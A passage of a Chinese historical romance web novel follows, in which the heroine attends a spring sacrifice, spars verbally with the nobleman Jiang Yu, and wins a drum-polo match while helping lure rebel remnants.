这样装模作样,不过眨眼的功夫,别人并未在意,除了在对面胭脂铺里警惕四周的江昱。 朝人群里递了一眼,他抬眸,朝对面望去。 嘴角微扬。 第79章 商凝语并不知道自己装得像不像, 能不能让人相信她就是商明惠,正忐忑之际,便看到对面窗牖里, 投过来一双噙着笑意的眼。 人群嘈杂,这一眼, 穿透笙箫。 她猝不及防地,与之遥遥对望。 对面的男人褪去稚嫩,眼角眉梢, 乃至浑身气质, 依旧透着骄矜,但时隔多年,他身上浑然天成的矜贵已然增添了一抹成熟,眼底的笑意也不再漫不经心,而是挟着掠夺之势,将她整个人笼罩住。 他压根不似昨日午席上表现的那般, 决意与她形同陌路。 商凝语整个人如被定住, 心底生出丝丝缕缕的危机感,令她蹙眉, 不敢妄动。 还是卞玉娘过来,将她从这种困锁中解救出来,“呦呦,鼓队已经朝着天坛去了, 我们也去吧?” 原来, 游队已经穿过这条街往城西去了, 商凝语视线转移,不置一词,颔首帮大嫂正了正怀里幼儿的衣襟, 随众人一道下楼,步出门外,她稍作停顿,四野望去,已经不见那个可疑人物。 商晏竹见她停留,轻咳一声,商凝语连忙跟上。 城北天坛周遭肃穆非常,与城中的热闹截然相反。 九级青石垒起的圜丘坛体静立在春和景明的日晖中,坛面按照“天圆地方”的规制修建,上铺艾叶,中间设昊天上帝神位,青圭、苍璧、三牲太牢等祭品齐整地陈设其中。 天坛的侧面,灌木林立,商家人随人流驻足在天坛低端,仰首顾盼,为照顾家人,商凝语站在几位嫂嫂的身后,以防止两个小家伙偷偷溜走。 辰时三刻,夏县令身着甘青色七品鸂鶒补子祭服,头戴乌纱,腰束素银带,步履沉凝地沿着神道缓步而来,他身后跟着乡绅、富商,以及乡里德高望重的耄耋老者。 商父亦在其中,作为乡绅,此行被夏县令奉为上宾,只见他身披沉香色的卍字纹杭缎,面容沉静,在礼乐唱响后,随夏县令一同移步到香案前,浣手,燃香。 那香是一种特制的降真香,烟气清白,笔直如柱,商家人齐齐凝视这方,看着三爷举香齐眉,深深三揖后,将其插进蟠螭纹青铜香炉。 在探月亭久等未果的夏文钦,也赶到这里,很快穿梭人群,凑到商凝语身边。 “七娘子?” 商凝语侧目,见到是他,微微颔首,淡声回应:“夏公子。” 夏文钦观望着台上庄严的祭祀活动,身心愉悦,“今日七娘子打扮不同往日,我差点没认出来你。” 商凝语眼眸未动,不接话。 夏文钦也不在意,问:“七娘子为何不去探月亭?我在那里等了你好久,那里观赏游街视野最好,你没来实在太可惜了。” “夏公子好意我心领了,不过,我喜欢和爹娘以及兄嫂一起。” 夏文钦懊恼,早知道不如全都请了,因小失大! “没关系,待会这边结束还有个花鼓马球赛,听说七娘子你马球打得好,不如上场比试比试?” 夏文钦孜孜不倦。 江昱隐在天坛侧方灌木后,但他目力好,眯了眯眼,问身边的下属:“那人是谁?” 谢花儿立刻生出警惕,伸长了脖颈四处张望。 原是以为世子问的是乔家哪位“熟人”,没想到一瞧,瞧见在商凝语身边立着一位妙龄公子,看那公子神情,恨不得贴到商七娘子身上去,顿时心一咯噔。 “那个,咳,应该是商家的远房亲戚吧?” “又是亲戚?”江昱嗤地一声,目光锁在远处二人身上,讥讽:“那她的亲戚还真多。” 谢花儿吐了吐舌头,当初的陆霁可并没说是商家的远房亲戚,全是世子您误会嘞? 乐声还在继续,从《清和》至《咸和》,再至《安和》,庄重的旋律随着寥寥香烟,静静流淌。 “跪——拜——兴——” 赞官唱引下,阖城百姓,行三跪九叩大礼。青石板上衣袂窸窸窣窣,环佩轻响,数百人整齐划一,共同俯仰,以彰显对神明的敬畏。 夏县令展开一卷青藤纸,开始朗诵祭文: “维神默佑,泽被苍生,时惟上巳,祗荐明禋。伏愿风调雨顺,百谷丰登,疫疠不生,万物安泰” 随着最后一声吟唱落下,乐停,夏县令将祭文置于火炉上焚化,青烟直上,至此,象征着万民心意的卷旨上达天听,作为上巳节的祓禊礼,寓意驱邪祈福的古俗,在这里结束。 夏县令吩咐下去,着父老乡亲安全离场,而后邀请几位乡绅富商并耄耋老者,一同去紫云寺,吃素斋,作今日最后一程的祷告。 人潮相继退去,商凝语疑惑地凝视身旁人,“你爹身为父母官,勤恳勉励,你怎么不去帮着点,跟我在这儿耗时间?” 夏文钦嘻嘻笑:“我爹一个人能当三个人用,要我去干什么?我娘经常说我给我爹捣乱,我去?那不是给我爹找事儿吗?今个儿祭祀大礼,我可不敢上前,万一坏事,我就是万死也难辞。” 商凝语轻笑一声,这还真是她见过的第一个正儿八经的纨绔,将不学无术说得理直气壮,真的难以想象,夏县令这样一个兢兢业业的好官,会养出这样的儿子。 嗯,心宽体胖。 夏文钦见她要走,连忙上前追问:“嗳?你还没说,去不去打马球呢?” 商凝语蹙眉,她想去。 “她不去。” 这时,一道声音插进来。 夏文钦转过眸来,心咯噔一声,好俊的男人! 他眼神在商凝语身上扫过,输人不输阵,挺起胸膛,挡在商凝语身前,质问:“你是谁?你知道我是谁吗?敢在这儿□□的话?” 商凝语吓得花容失色,他在干什么?他为什么跑出来?万一被乔家贼人看见了怎么办? 她克制着自己朝四周查看的冲动,整个人犹如雕塑,只是眉头紧缩,瞪着江昱。 江昱掀眸,好整以暇地从她面上拂过,仿佛在说“若非你不安分又怎会需要我亲自出马”几个字。 商凝语咬牙,对夏文钦客气道:“多谢夏公子,我现在要回去了,你们慢聊。” 语毕,不等二人反应,自顾自地福礼,与田氏招呼一声,仪态周全地转身离去。 田氏见到江昱也是一愣,江昱面色严峻,道:“几位伯母无需担心,我去保护七娘子。” 说罢,拱手离去,方氏和贺氏对视一眼,眼疾手快,一左一右挟持住田氏的胳膊。 “呦呦独自离去,我们兀自转去紫云寺,才更叫人相信她是我们家中不受待见的四娘子。” “对对,三弟妹,有江世子在,不必担心。” 各房都知晓商明惠的身份,自然也知晓江昱此行目的,七嘴八舌,不一会儿就说服了田氏,将她带到紫云寺吃素斋去了。 夏文钦着急,忙撇下江昱,就要追上去,却被谢花儿拦住去路,他这一错眼,就瞧见江昱从他身边走过,径直寻佳人而去。 谢花儿拱手道:“夏公子,不如你回去问问你父亲,这商家的人,你能不能打主意?” 夏文钦急怒交加,“你个狗奴才,来人,给我拦下他。” 夏长东确实是爱民如子的好官,但他的夫人,也是个视子如命的好母亲,夏夫人乃是镖行出身,世代行镖,走南闯北,浑身上下透着江湖莽气,给儿子配的六个家丁,全来自镖局,身手了得。 谢花儿打量围拢上来的几人,几眼就看出这些并非手无缚鸡之力的草包,饶了绕脚踝和手腕,热身道:“神明才经此地一游,未曾远去,不如找个地方好好切磋切磋?” 夏文钦朝家丁使了个眼色,家丁互相对视一眼,一哄而上。 趁着这个空档,夏文钦转身去追江昱二人,却还哪里寻得到二人身影? 商凝语走了没一会,就发现江昱跟在后头,不远不近,如何也甩不开。 她倏地冷静下来,不能这样,万一被乔家余孽看出问题,想要一劳永逸就难了。 她不能跟他置气。 江昱见她速度越走越慢,嘴角不自觉地扬起,加快脚步,撵至她身后,用气音道:“马球场有衙差看守,去那边。” 乔家人此刻不敢轻举妄动,肯定是还不确定她的身份,商明惠擅长马球,去打一场,或许就能逼他们动手。 商凝语领会其意,寻人问了一句马球场在何地,便朝着方向寻去。 马球场距离紫云寺不远,可要从天坛徒步走去,还是很累人,上了一条街道后,不多时,一辆马车拦在身前,陌生的车夫探身询问:“姑娘,要坐车吗?” 商凝语一回头,果然,哪里还有江昱的影子。 她抿了抿唇,应下一声,车夫连忙下车,放下脚凳,商凝语踩着脚凳掀开车帘,就见男人四平八稳地坐在里面,朝她挑眉一笑。 商凝语翻了个白眼,登上马车,将车帘掩得严严实实。 她怕什么?她现在是帮他追查宁平王余孽!稳固朝纲! 他要胡作非为,她是管不着,但她可以做好本职工作。 第80章 然而, 别人可不这般让她如意,方一落座,对面的男人就动手了, 倏地上前,一把扯下她的面纱。 “你!”商凝语震惊, “你干什么?” 江昱将面纱扔在一旁横坐上,好整以暇地盯着她,笑道:“这样看舒服多了, 不然总以为在看你四姐姐。” 商凝语瘪了瘪嘴, 倾身去拿面纱,江昱姿态慵懒,双手一左一右撑在横坐上,右手单指压在面纱上,商凝语担心会将面纱扯坏,只好暂时忍他。 坐回去, 静默, 也不再理他。 江昱不在意,目光上上下下将她打量了个遍, 须臾,定声道:“瘦了。” 嘶——叔可忍,熟不可忍! “江世子,还请自重!”商凝语忍不住扔个眼刀过去, 横眉冷对地盯着他。 江昱笑, “好歹师徒一场, 先生关心一下徒儿,怎么了?” 说话间,他的眼神如有实质, 剐过她面上每一片肌肤,“还说是,你做贼心虚?” 看得出来,她日子过得不错,以前怯懦探寻的眼神,仿佛寻到了落脚点,更加成熟娴静,听闻她在商家书塾中当半个先生,教授乡下小子们茶艺花卉,这会儿仔细观察,她身上也养出了几分书香气质。 商凝语抿唇,少顷,道:“多谢先生当年栽培,徒儿现在过得不错,勿须先生挂心。” 江昱耸肩,得寸进尺:“改日让我看看你的泡茶技术进步如何?” “不敢说进步,恐怕污了先生慧眼,让先生蒙羞。” “无妨,我的学生是什么样,我再清楚不过,只要别再把茶煮烂了就行。” 旧事重提,一招毙命。 商凝语落下风来,静默许久,无言以对。 江昱瞅着她这副模样,忽然笑了起来,越笑越畅怀,眉梢眼角都渗着愉悦,笑得声音都张扬了些。 商凝语咬牙,许久,待他终于停了下来,无奈地问:“你现在在京中是什么职务?” 江昱眉头一扬,不知她突然问这个做什么,不过,他还是老实回答了,“名义上,我是五城兵马司的总指挥使,实际上,圣上宠我,我已经是圣上身边的近臣。” 商凝语无视他口气里的得意,煞有介事道:“这般说来,你应该很忙,公务应该堆积如山了吧?你放心,我会十分配合你,让你早日抓住乔氏余孽,早日回京。” 江昱笑容顿住。 落下眼睑,慢慢地,坐直了身体,再开口,他语气变得冷淡,“不急,此事若是办成了,圣上允我半年假,有这功夫——” 他掀开眼皮,一字一句道:“我寻个小娘子,把婚事给定了。” 商凝语几乎维持不住体面,嘴仗打不过,脸皮也比不得他厚,接连败北,现在又被他将了一军,整个的哑口无言。 最重要的是,他没指名道姓,她也不好拒绝,但那眼神直勾勾的,都快怼到她脸上去了。 能不能来个人告诉她,她能不能一巴掌甩到此人脸上去,叫他说——人——话! 看着她吃瘪,江昱心头畅快极了,积压四年的郁气疏通了一半。 不过,他没打算就这么放过她,轻忽一笑,心情颇好地告诉她:“没错,我就是打算来娶你的。” 说话时,他的目光依旧凝视在她身上,商凝语一抬头,便对上他戏谑而又透着认真的眼神。 商凝语正色,道:“四年前我就说过,我已经有亲事了。” “嗯,”江昱掩下心底那股子戾气,撩起眼皮,漫不经心地问,“这四年都过去了,人呢?” “他在京城。”新科探花郎,曲江池畔流觞宴,不信他不知道。 “在京城,”江昱在这三个字音上压重了语气,轻笑,“你除服半载,还没登门提亲,你说的亲事,莫非是诓骗我?” 商凝语心知这个解释不清,抿唇不语。 眼见她又故技重施,以一种不争不辩的态度固执己见,江昱也不惯着她,直接道:“要不我派人打听打听,帮你查查他至今都在忙什么?你今年十九岁了吧?再拖下去都成老姑娘了。” “不用,我已经去信问过了。” 被他损贬后,气急的话脱口而出,可话音未落,商凝语就觉出不妥,面色凝滞片刻,尴尬地撇开脸去。 江昱的面色也是微微一滞,须臾,嘴唇一嘬,一道清亮的口哨声悠扬而起,调尾飞扬,恨不得冲破轿顶,冲上九天云霄。 任是谁,都能听出其中的愉悦。 商凝语的脸色顿时沉下来,难看之极。 江昱不惹她了,爽快道:“行,那我拭目以待。” 商凝语忍不住扶额,她是怎么在这里跟一个爱慕她的人探讨未婚夫为何不来迎娶她的事? 她一定是昏了头。 商凝语起身去拿面纱,这次江昱没再阻拦,任她将面纱戴上,露出冷厉的眉眼。 商凝语掀开车窗,朝外望去,车夫驾车技术很好,拐个弯,穿过集市人流,眼见就快到了马球场。 外面没有人盯着,看来贼人并不急于一时,大约是想先确认她的身份,然后再计划动手。 她阖上车窗,看见江昱在把玩腰间环佩,心中纳罕,他似乎手上总不离东西,喜欢玩个把件,当年是有个漂亮的玉骨骰,这次竟然没瞧见—— 此事与她无关,沉吟片刻,她认真道:“谢谢你,当年若不是你,我找不到四姐姐,谢谢你救了我们。” “怎么谢?”江昱手指翻飞,悠哉地问。 商凝语微凝,真心诚意地请问:“你要我怎么谢?只要我能做到,我一定去做。” “以身相许。”江昱一口咬定,“除此以外的谢礼,通通不受。” 商凝语气笑了,“行,那就当你积德行善。上天有好生之德,会保你荣宠不变,家财万贯,福泽绵长的。” 什么愧疚,见鬼的去吧,从今往后,她跟他,两不相欠。 马球场到了,车夫通禀一声,车身才停稳,商凝语率先掀开车帘,跃下马车,而后,装模做样地拿出几个铜板,递给车夫,“多谢。” 江昱在车厢里瞧见,轻轻一笑。 商凝语寻人问了一声,勿须着人引路,便见夏如烟携着侍女前来迎接。 “商姐姐,你果然来了,哥哥信誓旦旦说你会来,我还不信呢。” 夏如烟长了一张瓜子脸,杏眼圆润,娇俏可爱,穿着嫩黄色的对襟长裙,自来熟地拢住商凝语的胳膊,亲昵道。 商凝语和她性情相投,原是很喜欢与她交涉,只是后来见这小娘子总是醉翁之意不在酒,就敬谢不敏了,数次拒绝她的邀请往来。 “我就是过来看看,与你哥哥无关。” 亲事尚未落定,在外人眼中,不,是在不知情人眼中,商凝语只是因为守丧耽误了婚嫁。 若非田氏放了话,她这个女儿要嫁就得嫁天子门生,非进士不嫁,非青年才俊不嫁,非品行端正不嫁,商家的门槛都要被媒人踏破。 久而久之,登门求亲的人日渐减少,眼下,就剩夏文钦这么一个无赖,料想无人和他抢亲,拿定主意慢慢磨蹭着商家,等人松口。 夏如烟吃了几次教训不敢再随意给哥哥牵线,闻言,连忙讨饶,“是是是,商姐姐,你别生气,我保证,今天不提我哥哥半个字。” 说不提,还是提了。 商凝语戳她脑门,哼了一声。 夏如烟双眉拧巴到一起,娇哼地撒娇一声,忙不迭地转移话题,“现在场上九缺一,你也加入一起来吧?” 商凝语:“怎么玩?我没打过花鼓,输了球你可别怨我。” “不会,只要你能上场,今天就是格外给我长面儿。” 二人一同到了马球场,商凝语先看向场外,四野树木林立,亭台错落其中,轻纱曼妙,郁郁葱茏,在草坪斜坡上,还有民间百姓携家带口席地而坐。 官民共赏,可以窥见此处的淳朴风俗,上下一心,政通人和。 既然风景宜人,又是许久未松动筋骨了,商凝语确实手痒痒,随夏如烟去挑了一匹骏马,脚蹬马鞍,帅气上马,呼啸一声,一前一后,冲进了球场。 与几位女娘招呼过,夏如烟与她说规矩,“每个队有三个鼓,只要击中鼓面,一鼓一分,一炷香内,分数最多的队伍获胜。” 三个鼓呈三角面向,商凝语立刻察觉其中妙处,“可以连击吗?” 夏如烟眼神晶亮,“可以,不过这很难。” 确实,连击就是要让马球在反弹时击中下一个面,这不仅需要球员掌控方向,让马球能反弹在下一个鼓面上,而且还需要很大的力度,否则,马球会在半道掉落。 商凝语不置可否。 几人很快分出队伍,这厢,夏如烟带了一个嫡亲姐妹夏如晗,以及两个乡绅家的女儿,一个名叫管巧儿,一个名叫胡珍珍,都是妙龄女娘,几人先商量对策,商凝语第一次上场,主要和夏如晗以及胡珍珍守门和传球,夏如烟娇俏英勇,负责与胡珍珍击鼓。 日出云层,春日的阳光光芒万丈。 球场上,诸位赛员打马上前,各就各位。 鼓声未落,场边的檀香燃起袅袅烟气。《 》 80-90 第81章 红蓝两队十骑在场中勒马对峙, 蹄下细尘轻扬。 第一轮,率先发球的是对方蓝队,商凝语俯身摸了摸马脖, 坐骑焦躁地踏着碎步,在原地缓着劲儿, 对面的蓝队女娘横执月杖,青衫映着春光,目光沉静无波。 鼓声响, 开赛, 只见对方俯身探杖,将地上朱球轻巧挑起,球尚在空中,月杆已划出半弧,径直朝着鼓面射去。 却不料被夏如晗拦住,“玲姐姐也太心急了, 这就想进球?”球被夺走, 对方上前争夺,二人一来二去, 谁都没有察觉到,从旁侧冲过来的疾杆。 宜城的马偏温顺,商凝语竭尽全力还是觉得差了点,但到底是赶在蓝队追赶上来之前, 从夏如晗以及那位玲姐姐二人月杆中间, 夺过朱球, 朝着目瞪口呆的夏如烟喊道:“接住。” 夏如烟凌空一杆,将朱球击向左方球面,朱球撞击上牛皮鼓面, 发出一声闷响,继而反弹,向着正中的鼓面奔去,商凝语早有准备,在警示夏如烟时,就已经奔向正中鼓面。 朱球从侧方飞来时,她眼中生笑,挥杆而起,正在这时,一条身影从后侧放疾速冲出,用月杆钩住她的杆身,商凝语往后下腰,将月杆从头顶旋转一周,不料对方丝毫不退,逼得她月杆向后而去后,骤然收杆,将迎面来的朱球打进自家鼓界内。 “好身手。”商凝语赞。 对方一笑:“你的身手也很不错。” 二人相视一笑。 接下来,二人互相咬死对方,无论谁送球还是击鼓,都咬住对方的月杆。 商凝语原本是打个随意,结果打了个酣畅淋漓,中场休息时,一位陌生的小厮过来送茶水,那位蓝队女娘恰好也拿着水囊过来,见商凝语眼中透着茫然,眉眼冷厉:“你是哪家的?” 小厮不敢回答,用眼神偷撇商凝语,商凝语了然,道:“我不认识你,你走吧。” 小厮无奈,只好一溜烟走开,韩雨玲将水囊扔进商凝语怀中,道:“不是什么人递过来的水都能喝,喝我这个。” 说完,见商凝语挑眉,她轻轻一笑,道:“我是韩桥巷韩家人,闺名雨玲。” 韩桥巷韩家?那可是宜城第一首富,夏县令格外礼待的人,祭祀时韩家家主就站在商三爷身侧,几乎与之并列。 依照商家现在的身份,是不能得罪宜城任何一家大畹的,包括商贾。 商凝语接过水囊,道:“谢谢。” 掀起面纱一角,正待饮水,却被突然伸出来的手夺过水囊,她猝不及防,水囊的圆口中溅出几滴水珠,落在她的樱唇上。 来者毫不顾忌,扔了水囊,替她抹去唇畔的晶莹,道:“谁的水你都敢喝,也不怕毒死。” 他的指腹停留在她的唇边,带着一股温热。 商凝语整个人都不好了,转动眉目,看向来者。 万幸,他这会儿知晓在脸上挂了副面具,玄色勾着卷草纹银丝的面具遮掩了他大半张脸,看不出轮廓,只露出坚毅的下颌,以及紧抿的唇线。 与此同时,唇畔的触感如闪电般,传至全身上下,直击心底。 商凝语艰难地吞了口吐沫,不动声色地后退一步,脑袋宕机,意识空空,只警惕地看向韩雨玲。 身体颤抖得厉害,犹如江上扁舟。 韩雨玲脸色微变,但见二人举止,谨慎地问道:“这位是?”目光停在男人身上。 江昱不说话,用眼神乜斜着商凝语,商凝语赶鸭子上架,支支吾吾,“他是我的一个亲戚,嗯,两家关系比较近,不是兄妹,甚是兄妹。”又道:“多有冒犯,还请见谅。” 韩雨玲摇头,落下眼帘,“原来如此,公子护妹心切,我能理解。”而后见二人同时礼貌又不失警惕地凝视自己,笑了笑,“那就不打搅二位了。” 微微点头,转身离去。 商凝语蹙眉:“人家是好人,你凭什么给我撵走?” 江昱冷笑:“一起打个球就是好人?也不怕是乔家派来试探你的奸细。” 商凝语悚然一惊。 这时,夏如烟骑马过来,注意到来了一位陌生男子,她仿佛察觉二人之间微妙的气氛,期期艾艾地问:“商姐姐,你还继续吗?” “继续,当然继续。”商凝语理智回拢,气恼地瞪了一眼江昱,也不招呼一声,蹬鞍上马,夹紧马腹朝着球场奔去。 江昱望着一骑绝尘的身影,嘴角愉悦地上扬,忍不住捻了捻指腹。 上面的水已经凝干,只余一点润味和热意。 接下来,商凝语根本无法心无旁骛的凝聚心神,倒不失江昱那一逾矩举措打搅了她,而是当初被人点评的那一幕,此刻再次重演。 说实在,马球击鼓,她是第一次玩,但真的很感兴趣,规则比寻常马球的玩法要活跃,也更有挑战和技巧。 上半场,她摸出点窍门,夏如烟见她球技精准,算无遗策,也决定下半场叫她和胡珍珍换一换,她们两配合击鼓。 这可比当初在京城跟娇滴滴的一群贵女们玩还要刺激,而且,与当初一样,都有一名高手,从旁协助她。 啊,该不会输了又是她的错吧? 若非七娘子,这场比赛,红队应该能赢,可惜了? 她这会儿是身在曹营心在汉,心有胆怯,接连失了两个球,就连夏如烟也察觉到,大喊:“不行不行,商姐姐,你还是和珍珍换回来。” 商凝语拒绝,“先停一停,我要歇会儿。” 蓝队立刻有人不满,“不是才歇过?一炷香就快烧完了。” 商凝语策马,扔下一句话:“那你们继续,我马上回来。” 胡珍珍和剩余两名红队,顿时气得七窍生烟。 “我们这是团体赛,她这是什么意思?有没有一点团体精神?” “临阵脱逃?简直岂有此理!” 夏如烟也是哑口无言,但人是她请来的,她只得打圆场安抚队友,好在时间紧迫,不允许她们继续纠缠,牟足了精神应付四对五的局面。 商凝语夹紧马腹,冲向马场边缘,鬓角青丝迎风飞扬,直奔面具男人而来。 江昱仰首凝望,看着来势汹汹的女娘,心头微动。 “吁——”商凝语勒马急停,侧头俯视下来,对上男人目光,问:“我今日好好打一次马球,你能平心而论,不掺杂一点私欲,再客观地点评一次吗?” 旭阳透过云层,铺在女娘的脸上,露出固执较真的眉眼。 江昱眸光怔然,须臾,答:“好。” 商凝语略一点头,勒紧缰绳,掉转马头,直奔球场。 她来去疾速,夏如烟很是松了口气,方待重新调整队形和战略,就听她说:“几位妹妹,相识一场缘,今日可否让我一道?继续让我击鼓?” 胡珍珍和夏如晗对视,都在对方眼中看到不快,但夏如烟已经抢夺先机,“商姐姐胸有成竹,可见已经调整好状态,这有何不可?我定要和商姐姐配合一出双鼓齐鸣。” “多谢夏妹妹。” 这场马球赛到底是夏家人主持的,其余三人听了,也不好再拒绝,立刻调整队形,很快,球场上开始了新一轮的“厮杀”。 此时,香已经燃了大半,而蓝队已经多拿三球,想反败为胜,已经十分艰难,蓝队俱露出胜券在握的表情。 一开局,夏如烟就展现了对商凝语的十分信任,一对二,阻挡住前往阻拦商凝语的两位蓝队赛员,商凝语无视韩雨玲的追赶,以迅雷不及掩耳之势,拿下一球。 两队球友全部震惊住,就连赛场外的民众,也欢呼起来,这还是今日这场,以最快速度拿下的第一球。 红队气势大涨,蓝队也不敢掉以轻心,韩雨玲鼓舞队友,“没关系,还有两球,她们没有时间了。” 蓝队明白,即便只是拖住时间,她们也能赢,韩雨玲朝四人招呼一声,立刻五人其上,一人锁住一个——拖时间简直简单了。 红队也同样明白,这轮商凝语发球,策马向前冲,却在半道来了个急转,避开冲上来的蓝队,改冲向侧面夏如烟,与她擦身而过时,道:“去左鼓下助我。” 夏如烟应声,可正阻拦夏如烟的蓝队女娘也听到了,瞬间洞悉商凝语的计策,策马追上,终是还想再进一球,拉大双方距离的好胜心占据上风,立刻扬声示警。 “拦截左鼓。” 其他女娘听了,果然发现商凝语携带雷霆之势冲向左鼓,而她身后的女娘紧追不上,纷纷上前帮衬,韩雨玲却是见识过商凝语的走位,防止她再出其不意,则驾马冲向正中的花鼓。 商凝语见状,心微微一沉,经过几次交手,她已经见识了蓝队的水平,这整个蓝队,也就韩雨玲能让她有几分忌惮。 她的确是想声东击西,去击中鼓,但这下是不成的了,有韩雨玲拦球,击中中鼓的希望微乎其微。 不如放手一搏,去击左鼓。 左鼓前,一对一对持,三队走位交叉,商凝语目光如炬,调整了坐骑方向,扬起手臂抡出一杆。 别说红蓝两队,就连江昱,也挑起了眉头,只见朱球似是长了眼睛般,在对峙的三队中间穿梭而过。 这可是需要极大的目力和控杆本事。 还未结束。 “咚——”朱球撞向鼓面,在众人惊愕中,再次反弹,朝着中鼓冲去。 韩雨玲最先回神,欲要上前拦截,却不料这时,商凝语的月杆缠上她的月杆,因韩雨玲预测失败导致红方空守的夏如烟,也反应过来,眼见朱球弹直中鼓前,后劲不足,有掉落下来的趋势,补上一球。 进。 二人配合默契,香灭鼓响,比赛结束。 场外掌声如雷,江昱亦是凝望着球场上的女娘,一身雪衣,明媚张扬。 正值草长莺飞时节,杨柳絮絮。 须臾,风声歇止。 江昱的目光逐渐平静下来。 心道,她球技精湛,怪不得对当年之事,耿耿于怀。 心头剩下那一半的郁气,也一扫而空—— 作者有话说:明天见么么么 第82章 商凝语拒绝了夏如烟再来一场比试的邀请, 策马回到球场边,一跃而下,将缰绳交到小厮手中, 向江昱走去。 “怎么样?京都马球第一的程公子,我这球技如何?” 她道, 声音高昂。 不远处,韩雨玲也在问夏如烟:“那位公子来自京都?是商家什么人?” 夏如烟眯着眼看了看,心头顿时为自家兄长产生了危机, 听说商家有门亲事在京都, 只是不知为何,对方迟迟不上门。 难道? 眼下,这是人来了? “管他什么人,没听商姐姐喊他吗?他姓程。” 夏如烟本就对韩家不满,她父亲可是三甲进士,文士清官, 竟然要将一个商贾奉为上宾, 韩家仗着有几个臭钱在城中占据民宅基地,修建的宅邸比整个县衙都大, 没少让她父亲在德高望重的耆老面前遭诟病。 马球花鼓赛人员并非定数,只要双方人数一致就行,原本商凝语未表明是否前来,夏如烟邀请了七名女娘, 组了八人局, 后来韩雨玲非要上场, 她正愁人数不够,恰好见到商凝语来了,便拉着上救场。 这打完了球, 对方一句话,顿时又叫夏如烟心梗,迁怒的话脱口而出。 而韩雨玲只听到了“程家”二字,就没在意了,借口离去。 江昱嘴角轻扬,面具后的眉眼舒展开来,回道:“运球如风,惊鸿踏雪,精湛之极,令在下佩服。” 商凝语轻轻一笑,倨傲道:“总算在你口中听到一句赞扬的话。” 江昱扬眉,双唇翕动,终是闭了嘴,不置一词。 商凝语没好气地白了一眼,“我知道,我当年打得确实不如表姐她们,我也没怪你说真话。” 就是气你平白拉踩我。 未尽之言,二人都心知肚明。 江昱也不为过去的自己辩解,故作叹息道:“若是早知这么一句话,就让你记恨我这么多年,而且还仓促定下婚事,我当初肯定对你狠狠一顿夸,夸得你天上有地上无,叫你心花怒放。” “如此,你是不是就一辈子,对我死心塌地了?” 商凝语扑哧一笑,“你想得倒美。” 基于她承认了他国公府程家公子的身份,二人也不必再避嫌,一同往球场外走去。 商凝语继续道:“我与霁哥哥青梅竹马,情分岂是你一句话就可以比下去的?” 马车停到跟前,二人一前一后,踏上马车。 江昱听了心头火起,但见她难得愿意这样好声好气地说话,也就愿意维持这重逢后的片刻和平,与她一来一往,继续交锋。 “那可未必,若是当初你进京就遇见一位玉树临风、英俊潇洒的郎君,身世在你之上,品行与你比肩,让你眼前一亮,耳目一新,你或许就会顺从家族心意,试着接纳这位新君吧?” 此言有理。 但是! 她从岭南回府时就见识到商明菁如何待她,忠勤伯府如何看待她们母子三人,从来不做这种无畏的奢想。 “你说笑了,我是个务实的人,别人再好,那也是别人的,齐大非偶,我从回京的第一日就知道了。你就算再好,我当时也就是欣赏欣赏罢了,我若是当时真奢望点什么,恐怕你能在心里对我鄙笑得更大声吧?” 得,得,左右绕不过当初那点事,他认栽。 “是是是,小娘子脚踏实地,不好高,不骛远,令在下钦佩,这大概就是月老牵线时,见我太顺了,给我的考验吧。” 商凝语低声轻盈一笑。 江昱见状,也跟着笑了起来。 一笑泯恩仇,这一笑,让商凝语生出冰释前嫌的错觉出来,张了张嘴,想借此再与他分说,自己亲事已定,让他此行结束速速回京,不要再纠缠过往。 但到底是没说出口,因为她知晓,作为当事人,表明心意就已经够了,再多劝,就有欲拒还迎的嫌疑。 马车赶至名贤巷,江昱大摇大摆,跟在商凝语身后,走进屋内。商凝语正有话要问他,也没计较他的不请自入,二人越过垂花门,她正色道:“接下来,我需要怎么做?” 江昱沉吟,“确认身份后,他们自然需要一些时间安排人手,正好这几日,我将这里布置一下,保准叫人伤不着你。” “这里?”商凝语微惊,停下脚步,不可置信道:“你要在我家里捕杀乔氏余孽?” 商三爷并未与商凝语细说反杀叛党的计划,商凝语只知乔装一事,闻言,大吃一惊,立刻反对:“不行,这周围还有其他百姓,而且,怎么可能万无一失,万一伤着我家人怎么办?” 江昱没想到商父还什么都没对她说,闻言,一时也不知该说什么好,只能承诺:“你放心,我就是伤着自己,也不会让人伤害你和你的家人一分一毫。” 商凝语怎会信他片言片语?心中大悔,早知就不该配合他。 他们这些京官都是为了权势费尽心机的人,想当初,乔文川杀方云婉,赵烨城嫁祸给她,可是眼睛眨都不眨,人命在他们眼里算什么?说不定府上的侍女和奴仆,他也根本就不放在眼里。 万一,外面的百姓受到牵连,这可就是关乎性命的大事。 他怎么能说“安排一下”,就这么简单? 不过,她还是抱了一丝侥幸,问:“你带了多少人来?知道他们漏网之鱼有多少吗?” 江昱沉下脸,少顷,道:“我带的有五十人,都是精锐,而且,我手上有调令,可以支配衙差以及城外的驻军。” “远水能救近火吗?”商凝语不可思议,又起另一种假设:“如果你现在就要调动城外驻军,万一他们人只有十几二十,又岂不是大动干戈?” 谢花儿正转进垂花门,闻声,忙帮忙解释:“七娘子别急,属下早有统计,乔氏余孽不多,全部加在一起,也不足一百。而且,自从咱们进城,夏县令就对各大城门严加看管起来,进出排查,眼下咱们掌握的,能前来冒犯商家的人数,加起来不会超过四十人。” 商凝语疑惑地看向江昱,“你确定?” 江昱颔首,“我从来不打无把握的仗,你若不放心,我可以先安排你和你的家人先去府衙避一避。” 乔家在册的潜逃人员不多,但怕就怕他们联系旧识,这个世上,总会存在一些心存侥幸之人,那些旧识,在乔家兴盛时期不起眼,但在乔家落难时期,若是抱团取暖,逐渐壮大,也会是一层隐患。 虽如是说,实则江昱也知晓,在商家引诱反贼,其实并非上上策,但,他心中的上上策,商家必定不同意。 没有结果的策略,不如不说,免得引起她和商家人的恐慌。 商凝语得了他的答案,心中松了口气,正好到了用午膳的时候,其他人都去了紫云寺吃素斋,她吩咐后厨将家里的午膳端去客房一份- 韩桥巷,韩家。 韩雨玲行色匆匆回到府中,脸上带着难以压抑的激动,绕过长廊,来到父亲的书房门前,将衣襟整了整,又抚了抚鬓角,确定仪容整洁,方纾缓一口气。 喝令侍女在门外等候,而后,推门进入。 韩家家主的书房,墙上挂着名画,书案前翡翠当砚台,多宝格上玉石翡翠琳琅满目,与其说这是书房,不如说是一间金银堆积的藏宝库,富而不雅,处处透露着庸俗。 韩雨玲往日是从不愿踏进此处半步,今日却心潮澎湃,扭动了案前的赤金貔貅镇纸上的鸽血红宝石,书案后的暗门应声打开,她提着裙摆走进去。 